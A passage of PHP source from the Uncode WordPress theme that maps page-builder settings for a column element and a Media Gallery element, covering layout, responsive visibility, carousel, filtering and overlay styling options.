"type_numeric_slider", "heading" => '', "param_name" => "overlay_alpha", "min" => 0, "max" => 100, "step" => 1, "value" => 50, "description" => esc_html__("Set the transparency for the overlay.", 'uncode') , "group" => esc_html__("Style", 'uncode') , ) , array( "type" => "css_editor", "heading" => esc_html__('Css', 'uncode') , "param_name" => "css", "group" => esc_html__('Custom', 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Border color", 'uncode') , "param_name" => "border_color", "description" => esc_html__("Specify a border color.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $uncode_colors_w_transp, ) , array( "type" => "dropdown", "heading" => esc_html__("Border style", 'uncode') , "param_name" => "border_style", "description" => esc_html__("Specify a border style.", 'uncode') , "group" => esc_html__("Custom", 'uncode') , "value" => $border_style, ) , array( "type" => 'checkbox', "heading" => esc_html__("Desktop", 'uncode') , "param_name" => "desktop_visibility", "description" => esc_html__("Choose the visibiliy of the element in desktop layout mode (960px >).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Tablet", 'uncode') , "param_name" => "medium_visibility", "description" => esc_html__("Choose the visibiliy of the element in tablet layout mode (570px > < 960px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'dropdown', "param_name" => "align_medium", "description" => esc_html__("Specify the text alignment inside the content box in tablet layout mode.", 'uncode') , "value" => array( 'Text align (Inherit)' => '', 'Left' => 'align_left_tablet', 'Center' => 'align_center_tablet', 'Right' => 'align_right_tablet', ) , 'group' => esc_html__('Responsive', 'uncode') ) , array( "type" => "type_numeric_slider", "param_name" => "medium_width", "min" => 0, "max" => 7, "step" => 1, "value" => 0, "description" => esc_html__("COLUMN WIDTH. N.B. If you change this value for one column you must specify a value for every column of the row.", 'uncode') , "group" => esc_html__("Responsive", 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile", 'uncode') , "param_name" => "mobile_visibility", "description" => esc_html__("Choose the visibiliy of the element in mobile layout mode (< 570px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'dropdown', "param_name" => "align_mobile", "description" => esc_html__("Specify the text alignment inside the content box in mobile layout mode.", 'uncode') , "value" => array( 'Text align (Inherit)' => '', 'Left' => 'align_left_mobile', 'Center' => 'align_center_mobile', 'Right' => 'align_right_mobile', ) , 'group' => esc_html__('Responsive', 'uncode') ) , array( "type" => "textfield", "param_name" => "mobile_height", "description" => esc_html__("MINIMUM HEIGHT. Insert the value in pixel.", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Shift x-axis", 'uncode') , "param_name" => "shift_x", "min" => - 5, "max" => 5, "step" => 1, "value" => 0, "description" => esc_html__("Set how much the element has to shift in the X axis.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Shift x-axis fixed", 'uncode') , "param_name" => "shift_x_fixed", "description" => esc_html__("Deactive shift-x responsiveness.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Shift y-axis", 'uncode') , "param_name" => "shift_y", "min" => - 5, "max" => 5, "step" => 1, "value" => 0, "description" => esc_html__("Set how much the element has to shift in the Y axis.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Shift y-axis fixed", 'uncode') , "param_name" => "shift_y_fixed", "description" => esc_html__("Deactive shift-y responsiveness.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Custom z-index", 'uncode') , "param_name" => "z_index", "min" => 0, "max" => 10, "step" => 1, "value" => 0, "description" => esc_html__("Set a custom z-index to ensure the visibility of the element.", 'uncode') , 'group' => esc_html__('Off-grid', 'uncode') ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'vc_link', 'heading' => esc_html__('Custom link', 'uncode') , 'param_name' => 'link_to', 'description' => esc_html__('Enter a custom link for the column.', 'uncode') , 'group' => esc_html__('Extra', 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Sticky", 'uncode') , "param_name" => "sticky", "description" => esc_html__("Activate this to stick the element when scrolling.", 'uncode') , 'group' => esc_html__('Extra', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => "textfield", "heading" => esc_html__("Extra class", 'uncode') , "param_name" => "el_class", "description" => esc_html__("If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.", 'uncode') , 'group' => esc_html__('Extra', 'uncode') ) , ) , "js_view" => 'UncodeColumnView' )); /* Gallery/Slideshow ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Media Gallery', 'uncode') , 'base' => 'vc_gallery', 'php_class_name' => 'uncode_generic_admin', 'weight' => 102, 'icon' => 'fa fa-th-large', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Isotope grid or carousel layout', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') , 'group' => esc_html__('General', 'uncode') , 'admin_label' => true, ) , array( 'type' => 'textfield', 'heading' => esc_html__('Widget ID', 'uncode') , 'param_name' => 'el_id', 'value' => (function_exists('big_rand')) ? big_rand() : rand() , 'description' => esc_html__('This value has to be unique. Change it in case it\'s needed.', 'uncode') , 'group' => esc_html__('General', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Gallery module', 'uncode') , 'param_name' => 'type', 'value' => array( esc_html__('Isotope', 'uncode') => 'isotope', esc_html__('Carousel', 'uncode') => 'carousel', ) , 'admin_label' => true, 'description' => esc_html__('Specify gallery module type.', 'uncode') , 'group' => esc_html__('General', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Layout modes', 'uncode') , 'param_name' => 'isotope_mode', 'admin_label' => true, "description" => wp_kses(__("Specify the isotpe layout mode. <a href='http://isotope.metafizzy.co/layout-modes.html' target='_blank'>Check this for reference</a>", 'uncode'), array( 'a' => array( 'href' => array(),'target' => array() ) ) ) , "value" => array( esc_html__('Masonry', 'uncode') => 'masonry', esc_html__('Fit rows', 'uncode') => 'fitRows', esc_html__('Cells by row', 'uncode') => 'cellsByRow', esc_html__('Vertical', 'uncode') => 'vertical', esc_html__('Packery', 'uncode') => 'packery', ) , 'group' => esc_html__('General', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Random order", 'uncode') , "param_name" => "random", "description" => esc_html__("Activate this to have a media random order.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("General", 'uncode') , ) , array( 'type' => 'media_element', 'heading' => esc_html__('Medias', 'uncode') , 'param_name' => 'medias', "edit_field_class" => 'vc_col-sm-12 vc_column uncode_gallery', 'value' => '', 'description' => esc_html__('Specify images from media library.', 'uncode') , 'group' => esc_html__('General', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Style", 'uncode') , "param_name" => "style_preset", "description" => esc_html__("Select the visualization mode.", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => array( 'isotope', ) , ) , "value" => array( esc_html__('Masonry', 'uncode') => 'masonry', esc_html__('Metro', 'uncode') => 'metro', ) , 'group' => esc_html__('Module', 'uncode') , ) , array( "type" => "dropdown", "heading" => esc_html__("Gallery background color", 'uncode') , "param_name" => "gallery_back_color", "description" => esc_html__("Specify a background color for the module.", 'uncode') , "class" => 'uncode_colors', "value" => $uncode_colors, 'group' => esc_html__('Module', 'uncode') , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Number columns ( > 960px )', 'uncode') , 'param_name' => 'carousel_lg', 'value' => 3, 'description' => esc_html__('Insert the numbers of columns for the viewport from 960px.', 'uncode') , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel' ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Number columns ( > 570px and < 960px )', 'uncode') , 'param_name' => 'carousel_md', 'value' => 3, 'description' => esc_html__('Insert the numbers of columns for the viewport from 570px to 960px.', 'uncode') , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel' ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Number columns ( > 0px and < 570px )', 'uncode') , 'param_name' => 'carousel_sm', 'value' => 1, 'description' => esc_html__('Insert the numbers of columns for the viewport from 0 to 570px.', 'uncode') , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel' ) , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Thumbnail size', 'uncode') , 'param_name' => 'thumb_size', 'description' => esc_html__('Specify the aspect ratio for the media.', 'uncode') , "value" => array( esc_html__('Regular', 'uncode') => '', '1:1' => 'one-one', '2:1' => 'two-one', '3:2' => 'three-two', '4:3' => 'four-three', '10:3' => 'ten-three', '16:9' => 'sixteen-nine', '21:9' => 'twentyone-nine', '1:2' => 'one-two', '2:3' => 'two-three', '3:4' => 'three-four', '3:10' => 'three-ten', '9:16' => 'nine-sixteen', ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Filtering", 'uncode') , "param_name" => "filtering", "description" => esc_html__("Activate this to add the isotope filtering.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Filter skin", 'uncode') , "param_name" => "filter_style", "description" => esc_html__("Specify the filter skin color.", 'uncode') , "value" => array( esc_html__('Light', 'uncode') => 'light', esc_html__('Dark', 'uncode') => 'dark' ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , ) , array( "type" => "dropdown", "heading" => esc_html__("Filter menu color", 'uncode') , "param_name" => "filter_back_color", "description" => esc_html__("Specify a background color for the filter menu.", 'uncode') , "class" => 'uncode_colors', "value" => $uncode_colors, 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Filter menu full width", 'uncode') , "param_name" => "filtering_full_width", "description" => esc_html__("Activate this to force the full width of the filter.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Filter menu position", 'uncode') , "param_name" => "filtering_position", "description" => esc_html__("Specify the filter menu positioning.", 'uncode') , "value" => array( esc_html__('Left', 'uncode') => 'left', esc_html__('Center', 'uncode') => 'center', esc_html__('Right', 'uncode') => 'right', ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) ) , array( "type" => 'checkbox', "heading" => esc_html__("'Show all' opposite", 'uncode') , "param_name" => "filter_all_opposite", "description" => esc_html__("Activate this to position the 'Show all' button opposite to the rest.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , 'dependency' => array( 'element' => 'filtering_position', 'value' => array( 'left', 'right' ) ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Filter menu uppercase", 'uncode') , "param_name" => "filtering_uppercase", "description" => esc_html__("Activate this to have the filter menu in uppercase.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Filter menu mobile hidden", 'uncode') , "param_name" => "filter_mobile", "description" => esc_html__("Activate this to hide the filter menu in mobile mode.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Filter scroll", 'uncode') , "param_name" => "filter_scroll", "description" => esc_html__("Activate this to scroll to the module when filtering.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Filter sticky", 'uncode') , "param_name" => "filter_sticky", "description" => esc_html__("Activate this to have a sticky filter menu when scrolling.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'isotope', ) , 'dependency' => array( 'element' => 'filtering', 'value' => 'yes', ) , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Items gap", 'uncode') , "param_name" => "gutter_size", "min" => 0, "max" => 4, "step" => 1, "value" => 3, "description" => esc_html__("Set the items gap.", 'uncode') , "group" => esc_html__("Module", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Inner module padding", 'uncode') , "param_name" => "inner_padding", "description" => esc_html__("Activate this to have an inner padding with the same size as the items gap.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => array( 'isotope', 'carousel', ) , ) , ) , array( 'type' => 'sorted_list', 'heading' => esc_html__('Media', 'uncode') , 'param_name' => 'media_items', 'description' => esc_html__('Control teasers look. Enable blocks and place them in desired order. Note: This setting can be overridden on post to post basis.', 'uncode') , 'value' => 'media|lightbox|original,icon', "group" => esc_html__("Module", 'uncode') , 'options' => array( array( 'media', esc_html__('Media', 'uncode') , array( array( 'lightbox', esc_html__('Lightbox', 'uncode') ) , array( 'custom_link', esc_html__('Custom link', 'uncode') ) , array( 'nolink', esc_html__('No link', 'uncode') ) ) , array( array( 'original', esc_html__('Original', 'uncode') ) , array( 'poster', esc_html__('Poster', 'uncode') ) ) ) , array( 'icon', esc_html__('Icon', 'uncode') , ) , array( 'title', esc_html__('Title', 'uncode') , ) , array( 'caption', esc_html__('Caption', 'uncode') , ) , array( 'description', esc_html__('Description', 'uncode') , ) , array( 'category', esc_html__('Category', 'uncode') , ) , array( 'spacer', esc_html__('Spacer', 'uncode') , array( array( 'half', esc_html__('0.5x', 'uncode') ) , array( 'one', esc_html__('1x', 'uncode') ) , array( 'two', esc_html__('2x', 'uncode') ) ) ) , array( 'sep-one', esc_html__('Separator One', 'uncode') , array( array( 'full', esc_html__('Full width', 'uncode') ) , array( 'reduced', esc_html__('Reduced width', 'uncode') ) ) ) , array( 'sep-two', esc_html__('Separator Two', 'uncode') , array( array( 'full', esc_html__('Full width', 'uncode') ) , array( 'reduced', esc_html__('Reduced width', 'uncode') ) ) ) , array( 'team-social', esc_html__('Team socials', 'uncode') , ) , ) ) , array( "type" => 'dropdown', "heading" => esc_html__("Carousel items height", 'uncode') , "param_name" => "carousel_height", "description" => esc_html__("Specify the carousel items height.", 'uncode') , "value" => array( esc_html__('Auto', 'uncode') => '', esc_html__('Equal height', 'uncode') => 'equal', ) , 'group' => esc_html__('Module', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Items vertical alignment", 'uncode') , "param_name" => "carousel_v_align", "description" => esc_html__("Specify the items vertical alignment.", 'uncode') , "value" => array( esc_html__('Top', 'uncode') => '', esc_html__('Middle', 'uncode') => 'middle', esc_html__('Bottom', 'uncode') => 'bottom' ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , 'dependency' => array( 'element' => 'carousel_height', 'is_empty' => true, ) , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Transition type', 'uncode') , 'param_name' => 'carousel_type', "value" => array( esc_html__('Slide', 'uncode') => '', esc_html__('Fade', 'uncode') => 'fade' ) , 'description' => esc_html__('Specify the transition type.', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , 'group' => esc_html__('Module', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Auto rotate slides', 'uncode') , 'param_name' => 'carousel_interval', 'value' => array( 3000, 5000, 10000, 15000, esc_html__('Disable', 'uncode') => 0 ) , 'description' => esc_html__('Specify the automatic timeout between slides in milliseconds.', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , 'group' => esc_html__('Module', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Navigation speed', 'uncode') , 'param_name' => 'carousel_navspeed', 'value' => array( 200, 400, 700, 1000, esc_html__('Disable', 'uncode') => 0 ) , 'std' => 400, 'description' => esc_html__('Specify the navigation speed between slides in milliseconds.', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , 'group' => esc_html__('Module', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Loop", 'uncode') , "param_name" => "carousel_loop", "description" => esc_html__("Activate the loop option to make the carousel infinite.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Navigation", 'uncode') , "param_name" => "carousel_nav", "description" => esc_html__("Activate the navigation to show navigational arrows.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile navigation", 'uncode') , "param_name" => "carousel_nav_mobile", "description" => esc_html__("Activate the navigation to show navigational arrows for mobile devices.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Navigation skin", 'uncode') , "param_name" => "carousel_nav_skin", "description" => esc_html__("Specify the navigation arrows skin.", 'uncode') , "value" => array( esc_html__('Light', 'uncode') => 'light', esc_html__('Dark', 'uncode') => 'dark' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Dots navigation", 'uncode') , "param_name" => "carousel_dots", "description" => esc_html__("Activate the dots navigation to show navigational dots in the bottom.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile dots navigation", 'uncode') , "param_name" => "carousel_dots_mobile", "description" => esc_html__("Activate the dots navigation to show navigational dots in the bottom for mobile devices.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Dots navigation inside", 'uncode') , "param_name" => "carousel_dots_inside", "description" => esc_html__("Activate to have the dots navigation inside the carousel.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Autoheight", 'uncode') , "param_name" => "carousel_autoh", "description" => esc_html__("Activate to adjust the height automatically when possible.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Textual carousel ", 'uncode') , "param_name" => "carousel_textual", "description" => esc_html__("Activate this to have a carousel with only text.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Module", 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => 'carousel', ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Breakpoint - First step', 'uncode') , 'param_name' => 'screen_lg', 'value' => 1000, 'description' => wp_kses(__('Insert the isotope large layout breakpoint in pixel.<br />N.B. This is referring to the width of the isotope container, not to the window width.', 'uncode'), array( 'br' => array( ) ) ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => array( 'isotope', ) , ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Breakpoint - Second step', 'uncode') , 'param_name' => 'screen_md', 'value' => 600, 'description' => wp_kses(__('Insert the isotope medium layout breakpoint in pixel.<br />N.B. This is referring to the width of the isotope container, not to the window width.', 'uncode'), array( 'br' => array( ) ) ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => array( 'isotope', ) , ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Breakpoint - Third step', 'uncode') , 'param_name' => 'screen_sm', 'value' => 480, 'description' => wp_kses(__('Insert the isotope small layout breakpoint in pixel.<br />N.B. This is referring to the width of the isotope container, not to the window width.', 'uncode'), array( 'br' => array( ) ) ) , 'group' => esc_html__('Module', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => array( 'isotope', ) , ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Block layout", 'uncode') , "param_name" => "single_text", "description" => esc_html__("Specify the text positioning inside the box.", 'uncode') , "value" => array( esc_html__('Content overlay', 'uncode') => 'overlay', esc_html__('Content under image', 'uncode') => 'under' ) , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Width", 'uncode') , "param_name" => "single_width", "description" => esc_html__("Specify the box width.", 'uncode') , "value" => $units, "std" => "4", 'dependency' => array( 'element' => 'type', 'value' => array( 'isotope', ) , ) , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Height", 'uncode') , "param_name" => "single_height", "description" => esc_html__("Specify the box height.", 'uncode') , "value" => array( esc_html__("Default", 'uncode') => "" ) + $units, "std" => "", 'group' => esc_html__('Blocks', 'uncode') , 'dependency' => array( 'element' => 'type', 'value' => array( 'isotope', ) , ) , 'dependency' => array( 'element' => 'style_preset', 'value' => 'metro', ) , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Media ratio', 'uncode') , 'param_name' => 'images_size', 'description' => esc_html__('Specify the aspect ratio for the media.', 'uncode') , "value" => array( esc_html__('Regular', 'uncode') => '', '1:1' => 'one-one', '2:1' => 'two-one', '3:2' => 'three-two', '4:3' => 'four-three', '10:3' => 'ten-three', '16:9' => 'sixteen-nine', '21:9' => 'twentyone-nine', '1:2' => 'one-two', '2:3' => 'two-three', '3:4' => 'three-four', '3:10' => 'three-ten', '9:16' => 'nine-sixteen', ) , 'group' => esc_html__('Blocks', 'uncode') , 'dependency' => array( 'element' => 'style_preset', 'value' => 'masonry', ) , 'admin_label' => true, ) , array( "type" => "dropdown", "heading" => esc_html__("Background color", 'uncode') , "param_name" => "single_back_color", "description" => esc_html__("Specify a background color for the box.", 'uncode') , "value" => $uncode_colors, 'group' => esc_html__('Blocks', 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Shape', 'uncode') , 'param_name' => 'single_shape', 'value' => array( esc_html__('Select…', 'uncode') => '', esc_html__('Rounded', 'uncode') => 'round', esc_html__('Circular', 'uncode') => 'circle' ) , 'description' => esc_html__('Specify one if you want to shape the block.', 'uncode') , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Skin", 'uncode') , "param_name" => "single_style", "description" => esc_html__("Specify the skin inside the content box.", 'uncode') , "value" => array( esc_html__('Light', 'uncode') => 'light', esc_html__('Dark', 'uncode') => 'dark' ) , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => "dropdown", "heading" => esc_html__("Overlay color", 'uncode') , "param_name" => "single_overlay_color", "description" => esc_html__("Specify a background color for the box.", 'uncode') , "value" => $uncode_colors, 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay coloration", 'uncode') , "param_name" => "single_overlay_coloration", "description" => wp_kses(__("Specify the coloration style for the overlay.<br />N.B. For the gradient you can't customize the overlay color.", 'uncode'), array( 'br' => array( ) ) ) , "value" => array( esc_html__('Fully colored', 'uncode') => '', esc_html__('Gradient top', 'uncode') => 'top_gradient', esc_html__('Gradient bottom', 'uncode') => 'bottom_gradient', ) , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Overlay opacity", 'uncode') , "param_name" => "single_overlay_opacity", "min" => 1, "max" => 100, "step" => 1, "value" => 50, "description" => esc_html__("Set the overlay opacity.", 'uncode') , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay text visibility", 'uncode') , "param_name" => "single_text_visible", "description" => esc_html__("Activate this to show the text as starting point.", 'uncode') , "value" => array( esc_html__('Hidden', 'uncode') => 'no', esc_html__('Visible', 'uncode') => 'yes', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay text animation", 'uncode') , "param_name" => "single_text_anim", "description" => esc_html__("Activate this to animate the text on mouse over.", 'uncode') , "value" => array( esc_html__('Animated', 'uncode') => 'yes', esc_html__('Static', 'uncode') => 'no', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay text animation type", 'uncode') , "param_name" => "single_text_anim_type", "description" => esc_html__("Specify the animation type.", 'uncode') , "value" => array( esc_html__('Opacity', 'uncode') => '', esc_html__('Bottom to top', 'uncode') => 'btt', ) , "group" => esc_html__("Blocks", 'uncode') , 'dependency' => array( 'element' => 'single_text_anim', 'value' => 'yes', ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay visibility", 'uncode') , "param_name" => "single_overlay_visible", "description" => esc_html__("Activate this to show the overlay as starting point.", 'uncode') , "value" => array( esc_html__('Hidden', 'uncode') => 'no', esc_html__('Visible', 'uncode') => 'yes', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Overlay animation", 'uncode') , "param_name" => "single_overlay_anim", "description" => esc_html__("Activate this to animate the overlay on mouse over.", 'uncode') , "value" => array( esc_html__('Animated', 'uncode') => 'yes', esc_html__('Static', 'uncode') => 'no', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Image coloration", 'uncode') , "param_name" => "single_image_coloration", "description" => esc_html__("Specify the image coloration mode.", 'uncode') , "value" => array( esc_html__('Standard', 'uncode') => '', esc_html__('Desaturated', 'uncode') => 'desaturated', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Image coloration animation", 'uncode') , "param_name" => "single_image_color_anim", "description" => esc_html__("Activate this to animate the image coloration on mouse over.", 'uncode') , "value" => array( esc_html__('Static', 'uncode') => '', esc_html__('Animated', 'uncode') => 'yes', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Image animation", 'uncode') , "param_name" => "single_image_anim", "description" => esc_html__("Activate this to animate the image on mouse over.", 'uncode') , "value" => array( esc_html__('Animated', 'uncode') => 'yes', esc_html__('Static', 'uncode') => 'no', ) , "group" => esc_html__("Blocks", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Text horizontal alignment", 'uncode') , "param_name" => "single_h_align", "description" => esc_html__("Specify the horizontal alignment.", 'uncode') , "value" => array( esc_html__('Left', 'uncode') => 'left', esc_html__('Center', 'uncode') => 'center', esc_html__('Right', 'uncode') => 'right', esc_html__('Justify', 'uncode') => 'justify' ) , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Content vertical position", 'uncode') , "param_name" => "single_v_position", "description" => esc_html__("Specify the text vertical position.", 'uncode') , "value" => array( esc_html__('Middle', 'uncode') => '', esc_html__('Top', 'uncode') => 'top', esc_html__('Bottom', 'uncode') => 'bottom' ) , 'group' => esc_html__('Blocks', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Content dimension reduced", 'uncode') , "param_name" => "single_reduced", "description" => esc_html__("Specify the text reduction amount to shrink the overlay content dimension.", 'uncode') , "value" => array( esc_html__('100%', 'uncode') => '', esc_html__('75%', 'uncode') => 'three_quarter', esc_html__('50%', 'uncode') => 